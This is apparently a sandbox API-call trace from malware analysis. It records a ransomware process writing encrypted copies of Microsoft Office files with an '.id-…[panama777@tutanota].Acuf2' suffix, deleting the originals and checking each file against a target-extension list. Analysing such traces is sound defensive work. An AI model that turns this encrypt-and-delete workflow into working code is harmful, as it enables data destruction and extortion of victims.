	[0263.347] WriteFile (in: hFile=0x320, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xf4, lpOverlapped=0x0) returned 1
	[0263.347] SetEndOfFile (hFile=0x320) returned 1
	[0263.347] CloseHandle (hObject=0x320) returned 1
	[0263.347] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.347] SetEndOfFile (hFile=0x338) returned 1
	[0263.364] CloseHandle (hObject=0x338) returned 1
	[0263.364] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.421] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_f_col.hxk")) returned 1
	[0263.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK") returned 64
	[0263.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK") returned 64
	[0263.421] lstrlenW (lpString=".doc") returned 4
	[0263.421] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0263.421] lstrlenW (lpString=".docx") returned 5
	[0263.421] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0263.421] lstrlenW (lpString=".pdf") returned 4
	[0263.421] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0263.421] lstrlenW (lpString=".xls") returned 4
	[0263.421] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0263.421] lstrlenW (lpString=".xlsx") returned 5
	[0263.421] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0263.421] lstrlenW (lpString=".ppt") returned 4
	[0263.421] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0263.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK") returned 64
	[0263.421] lstrlenW (lpString=".zip") returned 4
	[0263.422] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0263.422] lstrlenW (lpString=".rar") returned 4
	[0263.422] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0263.422] lstrlenW (lpString=".bz2") returned 4
	[0263.422] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0263.422] lstrlenW (lpString=".7z") returned 3
	[0263.422] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0263.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK") returned 64
	[0263.422] lstrlenW (lpString=".dbf") returned 4
	[0263.422] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0263.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK") returned 64
	[0263.422] lstrlenW (lpString=".1cd") returned 4
	[0263.422] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0263.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK") returned 64
	[0263.422] lstrlenW (lpString=".jpg") returned 4
	[0263.422] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0263.435] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=529280) returned 1
	[0263.435] CloseHandle (hObject=0x33c) returned 1
	[0263.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\offowci.dll")) returned 0x20
	[0263.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\offowci.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\offowci.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0263.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL") returned 59
	[0263.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL") returned 59
	[0263.507] lstrlenW (lpString=".doc") returned 4
	[0263.507] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0263.507] lstrlenW (lpString=".docx") returned 5
	[0263.507] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1
	[0263.507] lstrlenW (lpString=".pdf") returned 4
	[0263.507] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0263.507] lstrlenW (lpString=".xls") returned 4
	[0263.507] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0263.507] lstrlenW (lpString=".xlsx") returned 5
	[0263.508] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1
	[0263.508] lstrlenW (lpString=".ppt") returned 4
	[0263.508] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0263.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL") returned 59
	[0263.508] lstrlenW (lpString=".zip") returned 4
	[0263.508] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0263.508] lstrlenW (lpString=".rar") returned 4
	[0263.508] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0263.508] lstrlenW (lpString=".bz2") returned 4
	[0263.508] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0263.508] lstrlenW (lpString=".7z") returned 3
	[0263.508] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0263.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL") returned 59
	[0263.508] lstrlenW (lpString=".dbf") returned 4
	[0263.508] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0263.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL") returned 59
	[0263.508] lstrlenW (lpString=".1cd") returned 4
	[0263.508] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0263.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL") returned 59
	[0263.508] lstrlenW (lpString=".jpg") returned 4
	[0263.509] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0263.592] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote.hxs.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0263.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS") returned 59
	[0263.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS") returned 59
	[0263.592] lstrlenW (lpString=".doc") returned 4
	[0263.592] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1
	[0263.592] lstrlenW (lpString=".docx") returned 5
	[0263.592] lstrcmpiW (lpString1=".docx", lpString2="E.HXS") returned -1
	[0263.592] lstrlenW (lpString=".pdf") returned 4
	[0263.592] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1
	[0263.592] lstrlenW (lpString=".xls") returned 4
	[0263.593] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1
	[0263.593] lstrlenW (lpString=".xlsx") returned 5
	[0263.593] lstrcmpiW (lpString1=".xlsx", lpString2="E.HXS") returned -1
	[0263.593] lstrlenW (lpString=".ppt") returned 4
	[0263.593] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1
	[0263.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS") returned 59
	[0263.593] lstrlenW (lpString=".zip") returned 4
	[0263.593] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1
	[0263.593] lstrlenW (lpString=".rar") returned 4
	[0263.593] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1
	[0263.593] lstrlenW (lpString=".bz2") returned 4
	[0263.593] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1
	[0263.593] lstrlenW (lpString=".7z") returned 3
	[0263.593] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1
	[0263.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS") returned 59
	[0263.593] lstrlenW (lpString=".dbf") returned 4
	[0263.593] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1
	[0263.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS") returned 59
	[0263.593] lstrlenW (lpString=".1cd") returned 4
	[0263.593] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1
	[0263.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS") returned 59
	[0263.593] lstrlenW (lpString=".jpg") returned 4
	[0263.593] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1
	[0263.597] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.597] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxc.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0263.597] GetLastError () returned 0x0
	[0263.597] ReadFile (in: hFile=0x360, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x277, lpOverlapped=0x0) returned 1
	[0263.628] WriteFile (in: hFile=0x33c, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x280, lpOverlapped=0x0) returned 1
	[0263.628] ReadFile (in: hFile=0x360, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.628] WriteFile (in: hFile=0x33c, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xf2, lpOverlapped=0x0) returned 1
	[0263.628] SetEndOfFile (hFile=0x33c) returned 1
	[0263.628] CloseHandle (hObject=0x33c) returned 1
	[0263.628] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.628] SetEndOfFile (hFile=0x360) returned 1
	[0263.630] CloseHandle (hObject=0x360) returned 1
	[0263.630] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.663] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxc")) returned 1
	[0263.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC") returned 63
	[0263.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC") returned 63
	[0263.663] lstrlenW (lpString=".doc") returned 4
	[0263.663] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1
	[0263.663] lstrlenW (lpString=".docx") returned 5
	[0263.663] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1
	[0263.663] lstrlenW (lpString=".pdf") returned 4
	[0263.663] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1
	[0263.663] lstrlenW (lpString=".xls") returned 4
	[0263.663] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1
	[0263.663] lstrlenW (lpString=".xlsx") returned 5
	[0263.663] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1
	[0263.663] lstrlenW (lpString=".ppt") returned 4
	[0263.663] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1
	[0263.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC") returned 63
	[0263.663] lstrlenW (lpString=".zip") returned 4
	[0263.663] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1
	[0263.663] lstrlenW (lpString=".rar") returned 4
	[0263.664] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1
	[0263.664] lstrlenW (lpString=".bz2") returned 4
	[0263.664] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1
	[0263.664] lstrlenW (lpString=".7z") returned 3
	[0263.664] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1
	[0263.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC") returned 63
	[0263.664] lstrlenW (lpString=".dbf") returned 4
	[0263.664] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1
	[0263.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC") returned 63
	[0263.664] lstrlenW (lpString=".1cd") returned 4
	[0263.664] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1
	[0263.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC") returned 63
	[0263.664] lstrlenW (lpString=".jpg") returned 4
	[0263.664] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1
	[0263.664] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=114) returned 1
	[0263.664] CloseHandle (hObject=0x344) returned 1
	[0263.664] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_f_col.hxk")) returned 0x20
	[0263.664] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_f_col.hxk.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0263.665] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.665] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_f_col.hxk.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0263.665] GetLastError () returned 0x0
	[0263.665] ReadFile (in: hFile=0x344, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x72, lpOverlapped=0x0) returned 1
	[0263.666] WriteFile (in: hFile=0x350, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x80, lpOverlapped=0x0) returned 1
	[0263.667] ReadFile (in: hFile=0x344, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.667] WriteFile (in: hFile=0x350, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xf6, lpOverlapped=0x0) returned 1
	[0263.667] SetEndOfFile (hFile=0x350) returned 1
	[0263.667] CloseHandle (hObject=0x350) returned 1
	[0263.667] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.667] SetEndOfFile (hFile=0x344) returned 1
	[0263.669] CloseHandle (hObject=0x344) returned 1
	[0263.669] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.669] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_f_col.hxk")) returned 1
	[0263.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK") returned 65
	[0263.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK") returned 65
	[0263.670] lstrlenW (lpString=".doc") returned 4
	[0263.670] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0263.670] lstrlenW (lpString=".docx") returned 5
	[0263.670] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0263.670] lstrlenW (lpString=".pdf") returned 4
	[0263.670] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0263.670] lstrlenW (lpString=".xls") returned 4
	[0263.670] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0263.670] lstrlenW (lpString=".xlsx") returned 5
	[0263.670] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0263.670] lstrlenW (lpString=".ppt") returned 4
	[0263.670] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0263.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK") returned 65
	[0263.670] lstrlenW (lpString=".zip") returned 4
	[0263.670] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0263.670] lstrlenW (lpString=".rar") returned 4
	[0263.670] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0263.670] lstrlenW (lpString=".bz2") returned 4
	[0263.670] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0263.670] lstrlenW (lpString=".7z") returned 3
	[0263.670] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0263.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK") returned 65
	[0263.670] lstrlenW (lpString=".dbf") returned 4
	[0263.670] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0263.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK") returned 65
	[0263.670] lstrlenW (lpString=".1cd") returned 4
	[0263.670] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0263.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK") returned 65
	[0263.670] lstrlenW (lpString=".jpg") returned 4
	[0263.670] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0263.671] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=113) returned 1
	[0263.671] CloseHandle (hObject=0x344) returned 1
	[0263.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_k_col.hxk")) returned 0x20
	[0263.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_k_col.hxk.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0263.672] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.672] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_k_col.hxk.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0263.673] GetLastError () returned 0x0
	[0263.673] ReadFile (in: hFile=0x344, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x71, lpOverlapped=0x0) returned 1
	[0263.674] WriteFile (in: hFile=0x350, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x80, lpOverlapped=0x0) returned 1
	[0263.675] ReadFile (in: hFile=0x344, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.675] WriteFile (in: hFile=0x350, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xf6, lpOverlapped=0x0) returned 1
	[0263.675] SetEndOfFile (hFile=0x350) returned 1
	[0263.675] CloseHandle (hObject=0x350) returned 1
	[0263.675] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.675] SetEndOfFile (hFile=0x344) returned 1
	[0263.677] CloseHandle (hObject=0x344) returned 1
	[0263.677] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.678] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_k_col.hxk")) returned 1
	[0263.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK") returned 65
	[0263.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK") returned 65
	[0263.678] lstrlenW (lpString=".doc") returned 4
	[0263.678] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0263.678] lstrlenW (lpString=".docx") returned 5
	[0263.678] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0263.678] lstrlenW (lpString=".pdf") returned 4
	[0263.678] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0263.678] lstrlenW (lpString=".xls") returned 4
	[0263.678] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0263.678] lstrlenW (lpString=".xlsx") returned 5
	[0263.678] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0263.678] lstrlenW (lpString=".ppt") returned 4
	[0263.678] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0263.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK") returned 65
	[0263.678] lstrlenW (lpString=".zip") returned 4
	[0263.678] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0263.678] lstrlenW (lpString=".rar") returned 4
	[0263.678] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0263.678] lstrlenW (lpString=".bz2") returned 4
	[0263.678] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0263.678] lstrlenW (lpString=".7z") returned 3
	[0263.678] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0263.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK") returned 65
	[0263.679] lstrlenW (lpString=".dbf") returned 4
	[0263.679] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0263.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK") returned 65
	[0263.679] lstrlenW (lpString=".1cd") returned 4
	[0263.679] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0263.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK") returned 65
	[0263.679] lstrlenW (lpString=".jpg") returned 4
	[0263.679] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0263.679] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=3415952) returned 1
	[0263.679] CloseHandle (hObject=0x344) returned 1
	[0263.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll")) returned 0x20
